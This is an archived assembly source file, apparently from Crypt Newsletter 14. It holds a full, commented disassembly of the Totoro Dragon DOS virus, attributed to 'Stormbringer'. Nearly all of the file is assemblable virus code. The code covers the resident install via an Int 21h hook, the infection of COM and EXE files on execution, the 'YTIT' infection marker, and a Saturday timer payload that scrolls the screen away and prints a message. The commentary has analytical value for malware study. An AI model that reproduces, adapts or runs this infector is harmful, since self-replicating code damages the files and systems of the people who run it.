home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CRYPT14.ZIP / TOTORO.ASM < prev    next >
Assembly Source File  |  1993-04-05  |  19KB  |  714 lines

  1. ;TOTORO DRAGON disassembly.  Included, for your pleasure, in Crypt
  2. ;Newsletter 14.  Profuse thanks to Stormbringer, wherever he is.
  3.  
  4. ;***************************************************************************
  5. ;*         The Totoro Dragon Virus from Taiwan             *
  6. ;***************************************************************************
  7. ;*    This virus is a fairly simple resident .EXE/.COM infector.  It goes  *
  8. ;*resident by re-executing the infected file and using Int 21, function 31.*
  9. ;*When it infects a .COM, it puts itself at the beginning of the file and  *
  10. ;*starts the host at an offset of 600h (700h in memory), giving the virus  *
  11. ;*an effective length of 1536 bytes, plus an extra 4 bytes for its marker  *
  12. ;*at the end ("YTIT").  It infects .EXE files using the "standard" method. *
  13. ;*While it does save file attributes, the time and date change when a file *
  14. ;*is infected.  The virus activates on Saturdays.  When active, it installs*
  15. ;*an Int 08 (Timer click) handler that counts to  0CCCh, then shoves the   *
  16. ;*text off the screen and prints the following in the upper left-hand      *
  17. ;*corner:                                  *
  18. ;*                                     *
  19. ;*            ╓──────────────────────╖             *
  20. ;*            ║    Totoro  Dragon    ║             *
  21. ;*            ║Hello! I am TOTORO CAT║             *
  22. ;*            ║ Written by Y.T.J.C.T ║             *
  23. ;*            ║ in Ping Tung. TAIWAN ║             *
  24. ;*            ║ Don't Worry,be Happy ║             *
  25. ;*            ╙──────────────────────╜             *
  26. ;*                                     *
  27. ;*It then restarts the counter and does it again.  Other that this effect, *
  28. ;*the virus seems relatively harmless.                     *
  29. ;*                                     *
  30. ;*                                     *
  31. ;*            Disassembly by Stormbringer              *
  32. ;***************************************************************************
  33. .model tiny
  34. .radix 16
  35. .code
  36.     org     100h
  37.  
  38. start:
  39.         jmp     short COM_Entry_Point
  40.         nop
  41. ;***************************************************************************
  42. ;*                  Data Tables                *
  43. ;***************************************************************************
  44. File_Size_Off   dw      5
  45. File_Size_Seg   dw      0
  46. TSR_DAT     dw      4262h
  47. DS_Save     dw      0F21h
  48. ES_Save     dw      0F21h
  49. File_Attribs    dw      20h
  50. IP_Save     dw      0
  51. CS_Save     dw      0F99
  52. SP_Save     dw      0
  53. SS_Save     dw      0
  54. File_Type       db      'C'
  55.  
  56. Wasted_Space    db      0, 0, 0     ;?
  57.  
  58. ;********************************************
  59. ;        EXE_Header         ;
  60. ;********************************************
  61.     EXE_Sig     db      'MZ'
  62.     Last_Page_Len   dw      14h
  63.     EXE_Size    dw      5
  64.     Rel_Tbl_Items   dw      0
  65.     Header_Size     dw      20h
  66.     Minalloc    dw      0
  67.     Maxalloc    dw      0ffff
  68.     Init_SS     dw      1
  69.     Init_SP     dw      700h
  70.     Checksum    dw      0
  71.     Init_IP     dw      91h
  72.     Init_CS     dw      1
  73.     First_Rel       dw      001Eh
  74.     Overlay_Num     dw      0
  75. ;********************************************
  76.  
  77. CS_Store    dw      0
  78. Command     db      'COMMAND.COM', 0
  79.         db       00h, 80h, 00h
  80. ES_Store_1      dw      0F21h
  81.         dw      5Ch
  82. ES_Store_2      dw      0F21h
  83.         dw      6Ch
  84. ES_Store_3      dw      0F21h
  85. File_Handle     dw      5
  86.  
  87. Buffer_For_Checks     db      0
  88.               db       4Ch,0CDh, 21h
  89.  
  90. File_Name_Off   dw      469h
  91. File_Name_Seg   dw      0DF5h
  92.         db      0
  93. Mem_Seg     dw      0F93h
  94. IP_24       dw      156h
  95. CS_24       dw      0DF5h
  96.  
  97. ;************************************************************************
  98. ;*             Virus Entry Point #1 (COM)               *
  99. ;************************************************************************
  100. COM_Entry_Point:
  101.         mov     ax,0F1F1h       ;Is the virus in memory?
  102.         int     21h
  103.         mov     cs:CS_Store,0
  104.         mov     cs:[ES_Save],es
  105.         cmp     ax,0F1F1h      ;AX preserved?
  106.         je      Already_Installed  ;Same? go Already_Installed
  107.         jmp     Install_Virus      ;Not In Mem? go Install_Virus
  108.  
  109. Already_Installed:         ;Restore control to host file (COM)
  110.         mov     ax,cs
  111.         mov     es,ax           ;ES = DS = CS
  112.         mov     ds,ax
  113.         mov     ah,0CBh         ;Restore Control
  114.         mov     si,700h         ;Offset of host in file
  115.         mov     di,100h         ;Original offset of host
  116.         mov     cx,cs:[File_Size_Off]   ;Size of host file
  117.  
  118.         int     21h    ;Call internal routine to restore control
  119.                    ;to host .COM file.
  120.  
  121. ;************************************************************************
  122. ;*             Virus Entry Point #2 (EXE)               *
  123. ;************************************************************************
  124. EXE_Entry_Point:
  125.         mov     ax,cs
  126.         sub     ax,10h
  127.         push    ax
  128.         mov     ax,offset After_Jump
  129.         push    ax
  130.         retf                ;Jump to After_Jump with
  131.                         ;original .COM offsets.
  132. After_Jump:
  133.         mov     cs:[ES_Save],es
  134.         mov     cs:[DS_Save],ds
  135.         mov     ax,0F1F1h
  136.         int     21h
  137.         cmp     ax,0F1F1h           ;Check if installed.
  138.         jne     Get_New_Seg         ;Nope, Install....
  139.  
  140.         cli
  141.         mov     ax,cs:[SS_Save]     ;Yes, restore host regs
  142.         add     ax,10h
  143.         mov     bx,es
  144.         add     ax,bx
  145.         mov     ss,ax
  146.         mov     sp,cs:[SP_Save]
  147.         sti
  148.  
  149.         mov     ax,cs:[CS_Store]
  150.         mov     bx,es
  151.         add     ax,bx
  152.         add     ax,10h
  153.         mov     word ptr cs:[IP_Save+2],ax
  154.         jmp     dword ptr cs:[IP_Save]      ;Restore Control to
  155.                             ;.EXE host.
  156.  
  157. Get_New_Seg:
  158.         push    es            ;For later RETF
  159.         xor     ax,ax
  160.         mov     ds,ax             ;DS = 0
  161.  
  162. ;****************************************************************************
  163. ;*NOTE: From 0:200 to 0:400 there is some "empty" space, as it is the upper *
  164. ;*      (unused) part of the interrupt tables. This virus uses the top three*
  165. ;*      bytes, i.e. the INT 99 entry, to run a repnz movsb command followed *
  166. ;*      by a retf.  This is to copy the virus to a new segment in memory and*
  167. ;*      jump to it.                             *
  168. ;****************************************************************************
  169.  
  170.         mov     word ptr ds:[3fdh],0A4F3h ;repnz movsb
  171.         mov     byte ptr ds:[3ffh],0CBh   ;retf
  172.  
  173.         push    cs
  174.         pop     ds
  175.  
  176.         mov     si,100h
  177.         mov     di,si             ;Copy virus to new segment
  178.         mov     cx,600h           ;and "RETF" to
  179.         mov     ax,offset Install_Virus   ;Install_Virus in new copy
  180.         push    ax
  181.         db      0EAh,0FDh, 03h, 00h, 00h  ;Jump far 0:3FDh
  182.  
  183. Install_Virus:
  184.         cli                 ;Disable interrupts
  185.         push    cs
  186.         pop     ds
  187.         mov     ah,2Ah
  188.         int     21h             ;Get Day/Date
  189.  
  190.         cmp     al,6            ;Is it Saturday?
  191.         jne     Set_Int_21          ;Nope, don't activate, just
  192.         mov     ax,3508h        ;infect files.
  193.         int     21h             ;Get Int 08 address
  194.  
  195.         mov     word ptr cs:[IP_08],bx
  196.         mov     word ptr cs:[CS_08],es
  197.         mov     dx,offset Int_08
  198.         mov     ax,2508h
  199.         int     21h             ;Set Int 08
  200.  
  201. Set_Int_21:
  202.         mov     ax,3521h
  203.         int     21h             ;Get Int 21 address
  204.  
  205.         mov     word ptr cs:[IP_21],bx
  206.         mov     word ptr cs:[CS_21],es
  207.         mov     dx,offset Int_21
  208.         mov     ax,2521h
  209.         int     21h             ;Set Int_21
  210.  
  211.         mov     es,cs:[ES_Save]
  212.         cmp     cs:[TSR_DAT],426Bh      ;Second Execute?
  213.         je      Go_TSR          ;Yep, go TSR
  214.  
  215.         mov     bx,1000h        ;Nope, set up for second exec.
  216.         mov     ah,4Ah
  217.         int     21h             ;Change Mem Allocation
  218.                         ;to 64k.
  219.  
  220.         mov     es,es:[2ch]         ;Environment string
  221.         xor     di,di
  222.         xor     al,al
  223.         mov     cx,7FFFh
  224.  
  225. Find_Filename:                  ;Search Environment for
  226.         repne   scasb           ;filename of host.
  227.         cmp     es:[di],al
  228.         loopnz  Find_Filename
  229.  
  230.         add     di,3            ;Skip drive designator
  231.                         ;i.e. "C:\" in
  232.                         ;"C:\Infected.EXE"
  233.         mov     dx,di
  234.  
  235.         push    es
  236.         pop     ds              ;DS:DX = host filename
  237.         push    cs
  238.         pop     es
  239.  
  240.         cli                 ;Clears Ints (so none can
  241.                         ;disrupt second execution
  242.                         ;of virus)
  243.  
  244.         mov     ax,cs:[ES_Save]
  245.         mov     cs:[ES_Store_1],ax
  246.         mov     cs:[ES_Store_2],ax
  247.         mov     cs:[ES_Store_3],ax
  248.         mov     bx,144h
  249.         mov     ax,4B00h        ;Re-Execute the file
  250.         pushf
  251.         call    dword ptr cs:[IP_21]    ;Call Int 21 to Execute file.
  252.  
  253. Go_TSR:
  254.         mov     ah,31h
  255.         mov     dx,71h
  256.         int     21h             ;Terminate and Stay Resident.
  257.  
  258. Int_21:
  259.         pushf               ;Push flags
  260.         cmp     ax,0F1F1h           ;Is it an Install Check?
  261.         jne     Is_It_Execute       ;No, Go Is_It_Execute
  262.         mov     ax,0F1F1h           ;Yes, save value (unneccesary)
  263.         popf
  264.         iret                ;Return to virus in program.
  265.  
  266. Is_It_Execute:
  267.         cmp     ax,4B00h        ;Is it a Load & Execute call?
  268.         jne     Restore_Host        ;Nope, continue on.
  269.         call    execute         ;Infect the file if possible.
  270.         jmp     short Go_Int_21     ;And go to old Int 21 handler.
  271.         nop
  272. Restore_Host:
  273.         cmp     ah,0CBh         ;Is it a request to restore
  274.         jne     Go_Int_21           ;control to host?
  275.         pop     ax ax           ;Pop flags + Old IP (not kept)
  276.         mov     word ptr cs:[IP_Save],100h
  277.         pop     ax
  278.         mov     word ptr cs:[IP_Save+2],ax
  279.         rep     movsb           ;Restore Host to orig. Pos.
  280.         popf                ;Completely remove old Int call
  281.         mov     ax,0
  282.         jmp     dword ptr cs:[IP_Save]  ;Jump to Host:100
  283. Go_Int_21:
  284.         popf                ; Pop flags
  285.  
  286.         db      0ea             ;Jump to Int 21
  287. IP_21       dw      040ebh
  288. CS_21       dw      0011
  289.  
  290.  
  291. execute:
  292.         push    es ds ax bx cx dx si di
  293.         mov     cs:[File_Name_Seg],ds
  294.         mov     cs:[File_Name_Off],dx
  295.         mov     ax,3524h        ;Get Int 24 Address
  296.         int     21h             ;(Critical Error)
  297.  
  298.         mov     cs:[IP_24],bx
  299.         mov     cs:[CS_24],es
  300.         push    cs
  301.         pop     ds
  302.         mov     dx,offset Int_24
  303.         mov     ax,2524h
  304.         int     21h             ;Set Int 24
  305.  
  306.         mov     ds,cs:[File_Name_Seg]
  307.         mov     si,cs:[File_Name_Off]
  308.  
  309. Name_Check:
  310.         lodsb
  311.         or      al,al           ;Is the first byte a zero?
  312.         jnz     Name_Check          ;Nope, find end of string
  313.         mov     al,[si-2]
  314.         and     al,0DFh
  315.         cmp     al,4Dh          ;'M'
  316.         je      Is_Com          ;COM file, jump Is_Com
  317.         cmp     al,45h          ;'E'
  318.         je      Is_EXE          ;EXE file, jump Is_EXE
  319.         jmp     Clean_Up        ;Neither? Go Clean_Up
  320. Is_Com:
  321.         mov     cs:[File_Type],'C'      ;Save File type for later.
  322.         jmp     short Check_If_Command
  323.         nop
  324. Is_EXE:
  325.         mov     cs:[File_Type],'E'
  326.  
  327. Check_If_Command:
  328.         sub     si,0Ch
  329.         mov     di,offset Command
  330.         push    cs
  331.         pop     es
  332.         mov     cx,0Bh          ;Is it Command.COM?
  333.         repe    cmpsb
  334.         jnz     Start_Infect        ;No, Jump Start_Infect
  335. Got_An_Error:
  336.         jmp     Clean_Up        ;Is Command, get otta here.
  337.  
  338. Start_Infect:
  339.         mov     ds,cs:[File_Name_Seg]
  340.         mov     dx,cs:[File_Name_Off]
  341.         mov     ax,4300h
  342.         int     21h             ;Get Attribs
  343.  
  344.         jc      Got_An_Error
  345.         mov     cs:[File_Attribs],cx
  346.         xor     cx,cx
  347.         mov     ax,4301h
  348.         int     21h             ;Zero Attrib's for read/write
  349.  
  350.         jc      Got_An_Error
  351.         mov     ax,3D02h
  352.         int     21h             ;Open Read/Write
  353.  
  354.         jnc     Check_Infect    ;Everything Fine? go Check_Infect
  355.         jmp     Reset_Attribs       ;Couldn't Open, go Reset_Attribs
  356.  
  357. Check_Infect:
  358.         mov     bx,ax
  359.         mov     cs:[File_Handle],ax
  360.         mov     cx,0FFFFh
  361.         mov     dx,0FFFCh
  362.         mov     ax,4202h
  363.         int     21h             ;Move to 4 bytes from end
  364.  
  365.         add     ax,4
  366.         mov     cs:[File_Size_Off],ax
  367.         push    cs
  368.         pop     ds
  369.         mov     dx,offset Buffer_For_Checks
  370.         mov     cx,4
  371.         mov     ah,3Fh
  372.         int     21h
  373.                         ;Read in Last 4 bytes of file
  374.         push    cs
  375.         pop     es
  376.         mov     cx,4
  377.         mov     si,offset Marker       ;are last 4 bytes 'YTIT'?
  378.         mov     di,offset Buffer_For_Checks       ;
  379.         repe    cmpsb
  380.         jnz     Check_Which_Type   ;Not infected? Go Check_Which_Type
  381.         jmp     Close_File         ;Infected? Go Close_File
  382.  
  383. Check_Which_Type:
  384.         cmp     cs:[File_Type],'C'      ;Is it a .COM?
  385.         je      COM_Infect          ;Yes, go COM_Infect
  386.         jmp     EXE_Infect          ;No, go EXE_Infect
  387.  
  388. COM_Infect:
  389.         mov     ah,48h
  390.         mov     bx,1000h
  391.         int     21h             ;Allocate 64k of memory
  392.  
  393.         jnc     Load_In_File        ;No Prob? Go Load_In_File
  394.         jmp     Close_File          ;Otherwise, go Close_File
  395.  
  396. Load_In_File:
  397.         mov     cs:[Mem_Seg],ax
  398.         mov     bx,cs:[File_Handle]
  399.         xor     cx,cx
  400.         xor     dx,dx
  401.         mov     ax,4200h
  402.         int     21h             ;Go to beginning of file
  403.  
  404.         push    cs
  405.         pop     ds
  406.         mov     es,cs:[Mem_Seg]
  407.  
  408.         mov     si,100
  409.  
  410.         mov     di,si
  411.         mov     cx,700h
  412.         rep     movsb
  413.         mov     ds,cs:Mem_Seg
  414.         mov     cx,cs:[File_Size_Off]
  415.         mov     dx,700h
  416.         mov     ah,3Fh          ;Load entire file to directly
  417.         int     21h             ;after virus.
  418.  
  419.         xor     cx,cx
  420.         xor     dx,dx
  421.         mov     ax,4200h
  422.         int     21h             ;Move to the beginning of file
  423.  
  424.         mov     dx,100h
  425.         mov     cx,cs:[File_Size_Off]
  426.         add     cx,600h
  427.         mov     ah,40h
  428.         int     21h             ;Write entire file back to disk
  429.  
  430.         jc      Go_Release_Mem
  431.         xor     cx,cx
  432.         xor     dx,dx
  433.         mov     ax,4202h
  434.         int     21h             ;Move to end of file
  435.  
  436.         mov     cs:[File_Size_Seg],0    ;COM < 64k
  437.         add     ax,4            ;Add 4 for marker bytes
  438.         mov     cs:[File_Size_Off],ax   ;Save file size
  439.         push    cs
  440.         pop     ds
  441.         mov     dx,offset Marker
  442.         mov     cx,4
  443.         mov     ah,40h
  444.         int     21h             ;Write in marker 'YTIT'
  445.  
  446. Go_Release_Mem:
  447.         jmp     Release_Mem
  448.         jmp     Close_File
  449.  
  450. EXE_Infect:
  451.         xor     cx,cx
  452.         xor     dx,dx
  453.         mov     ax,4200h
  454.         int     21h             ;Move to beginning of file
  455.  
  456.         push    cs
  457.         pop     ds
  458.         db      8dh,16h,1bh,01      ;lea     dx,cs:[11Bh]
  459.         mov     cx,1Ch
  460.         mov     ah,3Fh
  461.         int     21h             ;Read in .EXE header
  462.  
  463. Save_Header_NFO:
  464.         cli                   ;clear ints
  465.         mov     ax,cs:[Init_CS]
  466.         mov     cs:[CS_Store],ax      ;Save old CS
  467.         mov     ax,cs:[Init_IP]
  468.         mov     word ptr cs:[IP_Save],ax  ;Save old IP
  469.         mov     ax,cs:[Init_SS]
  470.         mov     cs:[SS_Save],ax       ;Save old SS
  471.         mov     ax,cs:[Init_SP]
  472.         mov     cs:[SP_Save],ax       ;Save old SP
  473.         sti                   ;restore ints
  474.  
  475.         xor     ax,ax
  476.         cmp     cs:[Last_Page_Len],0
  477.         je      Calculate_Exe_Header
  478.         dec     cs:[EXE_Size]
  479.  
  480. Calculate_Exe_Header:                 ;Long, drawn out way
  481.                           ;to calculate new EXE header
  482.         mov     cx,200h
  483.         xor     dx,dx
  484.         mov     ax,cs:[EXE_Size]
  485.         mul     cx
  486.         add     ax,cs:[Last_Page_Len]
  487.         add     ax,0Fh
  488.         adc     dx,0
  489.         and     ax,0FFF0h
  490.         mov     cs:[File_Size_Off],ax
  491.         mov     cs:[File_Size_Seg],dx
  492.         push    dx ax dx ax
  493.         xor     dx,dx
  494.         mov     ax,cs:[Header_Size]
  495.         mov     cx,10h
  496.         mul     cx
  497.         pop     bx cx
  498.         sub     bx,ax
  499.         sbb     cx,dx
  500.         xchg    ax,bx
  501.         xchg    dx,cx
  502.         mov     cx,10h
  503.         div     cx
  504.         mov     cs:[Init_CS],ax
  505.         mov     cs:[Init_SS],ax
  506.         mov     cs:[Init_SP],700h
  507.         mov     cs:[Init_IP],offset EXE_Entry_Point-100
  508.         pop     ax dx
  509.         push    dx ax
  510.         add     ax,604h
  511.         adc     dx,0
  512.         mov     cx,200h
  513.         div     cx
  514.         mov     cs:Last_Page_Len,dx
  515.         or      dx,dx
  516.         jz      Rewrite_Header
  517.         inc     ax
  518.  
  519. Rewrite_Header:
  520.         mov     cs:[EXE_Size],ax
  521.         xor     cx,cx
  522.         xor     dx,dx
  523.         mov     bx,cs:[File_Handle]
  524.         mov     ax,4200h
  525.         int     21h             ;Move back to beginning of file
  526.  
  527.         push    cs
  528.         pop     ds
  529.         mov     dx,offset EXE_Sig
  530.         mov     cx,1Ch
  531.         mov     ah,40h
  532.         int     21h             ;Write EXE header back to file
  533.  
  534.         pop     dx
  535.         pop     cx
  536.         jc      Close_File
  537.         mov     ax,4200h
  538.         int     21h             ;Go to end of host.
  539.  
  540.         push    cs
  541.         pop     ds
  542.         mov     dx,100
  543.         mov     cx,600h
  544.         mov     ah,40h
  545.         int     21h             ;Write Virus
  546.         jc      Close_File
  547.  
  548.         xor     cx,cx
  549.         xor     dx,dx
  550.         mov     ax,4202h
  551.         int     21h             ;Go to end of file.
  552.  
  553.         mov     dx,offset Marker
  554.         mov     cx,4
  555.         mov     ah,40h
  556.         int     21h             ;Write marker byte.
  557.  
  558.         jmp     short Close_File
  559.         nop
  560. Release_Mem:
  561.         mov     es,cs:Mem_Seg
  562.         mov     ah,49h
  563.         int     21h             ;Release Memory
  564.  
  565. Close_File:
  566.         mov     ah,3Eh
  567.         mov     bx,cs:[File_Handle]
  568.         int     21h             ;Close file.
  569.  
  570. Reset_Attribs:
  571.         mov     ds,cs:File_Name_Seg
  572.         mov     dx,cs:File_Name_Off
  573.         mov     cx,cs:File_Attribs
  574.         mov     ax,4301h
  575.         int     21h             ;Reset File attributes
  576.  
  577. Clean_Up:
  578.         mov     ds,cs:[CS_24]       ;Restore Critical Error
  579.         mov     dx,cs:[IP_24]
  580.         mov     ax,2524h
  581.         int     21h
  582.  
  583.         pop     di si dx cx bx ax ds es
  584.         retn
  585.  
  586.  
  587. Int_24:                     ;Critical Error Handler
  588.         xor     ax,ax
  589.         iret
  590.  
  591. Int_08:                     ;Timer Click Handler
  592.         pushf
  593.         inc     cs:[Activation_Counter]
  594.         cmp     cs:[Activation_Counter],0CCCh
  595.         jne     Go_Int_08
  596.         mov     cs:[Activation_Counter],0       ;Reset Counter
  597.         push    ds es si di ax bx cx dx
  598.         call    Get_Mode
  599.         call    Scroll_Area
  600.         call    Print_Message
  601.         pop     dx cx bx ax di si es ds
  602. Go_Int_08:
  603.         popf                ; Pop flags
  604.         db      0EA
  605. IP_08       dw      003Ch
  606. CS_08       dw      0D80h
  607.  
  608. Screen_Width           dw      0
  609. Activation_Counter     dw      1E0h
  610.  
  611. Get_Mode:
  612.         mov     ah,0Fh
  613.         int     10h             ;Get Video Mode
  614.  
  615.         mov     bx,0B000h           ;Mode 7 Text Video Memory
  616.         mov     es,bx
  617.         cmp     al,7
  618.         je      In_Mode_7
  619.         mov     bx,0B800h           ;Regular Text Video Memory
  620. In_Mode_7:
  621.         mov     es,bx
  622.         mov     ds,bx
  623.         mov     cs:[Screen_Width],4Fh
  624.  
  625. Setup_Screen:
  626.         mov     cx,19h
  627.         mov     bx,0
  628. Clear_Screen:
  629.         push    cx
  630.         call    Scroll_Line
  631.         add     bx,0A0h
  632.         pop     cx
  633.         loop    Clear_Screen
  634.  
  635.         dec     cs:[Screen_Width]
  636.         jnz     Setup_Screen
  637.         retn
  638.  
  639. Scroll_Line:                    ;This subroutine clears the
  640.         mov     di,bx           ;screen by scrolling the text
  641.         mov     si,bx           ;straight off of the left
  642.         add     si,2            ;side.
  643.         mov     cx,cs:[Screen_Width]
  644.  
  645. Scroll_Sideways:
  646.         lodsb
  647.         stosb
  648.         inc     si
  649.         inc     di
  650.         loop    Scroll_Sideways
  651.         retn
  652.  
  653. Print_Message:
  654.         xor     bx,bx
  655.         push    cs
  656.         pop     ds
  657.         db      8dh,36h,18h,06      ;lea     si,cs:[Totoro_Design]
  658.         mov     ah,0Eh
  659. Print_Loop:
  660.         lodsb
  661.         int     10h             ;Write Char in Teletype mode
  662.         cmp     byte ptr [si],24h       ;is it a '$'?
  663.         jne     Print_Loop          ;Nope, continue writing
  664.         retn
  665.  
  666. Scroll_Area:
  667.         xor     bx,bx           ;Video Page 0
  668.         mov     ah,3
  669.         int     10h             ;Get Cursor info
  670.  
  671.         push    dx              ;Push Cursor Location (DX)
  672.         mov     ah,6
  673.         mov     bh,7
  674.         mov     al,18h
  675.         xor     cx,cx
  676.         mov     dh,18h
  677.         mov     dl,4Fh
  678.         int     10h             ;Scroll up (clear screen)
  679.  
  680.         mov     ah,2
  681.         pop     dx
  682.         sub     dh,2
  683.         xor     bx,bx
  684.         int     10h             ;Reset Cursor
  685.  
  686.         xor     bx,bx
  687.         xor     dx,dx
  688.         mov     ah,2
  689.         int     10h             ;Set Cursor for printing.
  690.         retn
  691.  
  692. Totoro_Design:
  693.         db      ' ╓──────────────────────╖',0Dh, 0Ah
  694.         db      ' ║    Totoro  Dragon    ║',0Dh, 0Ah
  695.         db      ' ║Hello! I am TOTORO CAT║',0Dh, 0Ah
  696.         db      ' ║ Written by Y.T.J.C.T ║',0Dh, 0Ah
  697.         db      ' ║ in Ping Tung. TAIWAN ║',0Dh, 0Ah
  698.         db      ' ║ Don''t Worry,be Happy ║',0Dh, 0Ah
  699.         db      ' ╙──────────────────────╜$'
  700. Marker      db      'YTIT'
  701.         db      28 dup (0)
  702.  
  703. ;***************************************************************************
  704. ;*End of virus. The bytes below this line are the infected program and the *
  705. ;*          viruses' identification bytes.                 *
  706. ;***************************************************************************
  707.  
  708. Host_Program:
  709.         mov     ax,4c00
  710.         int     21
  711.  
  712. Infected_Mark   db      'YTIT'
  713. end     start
  714.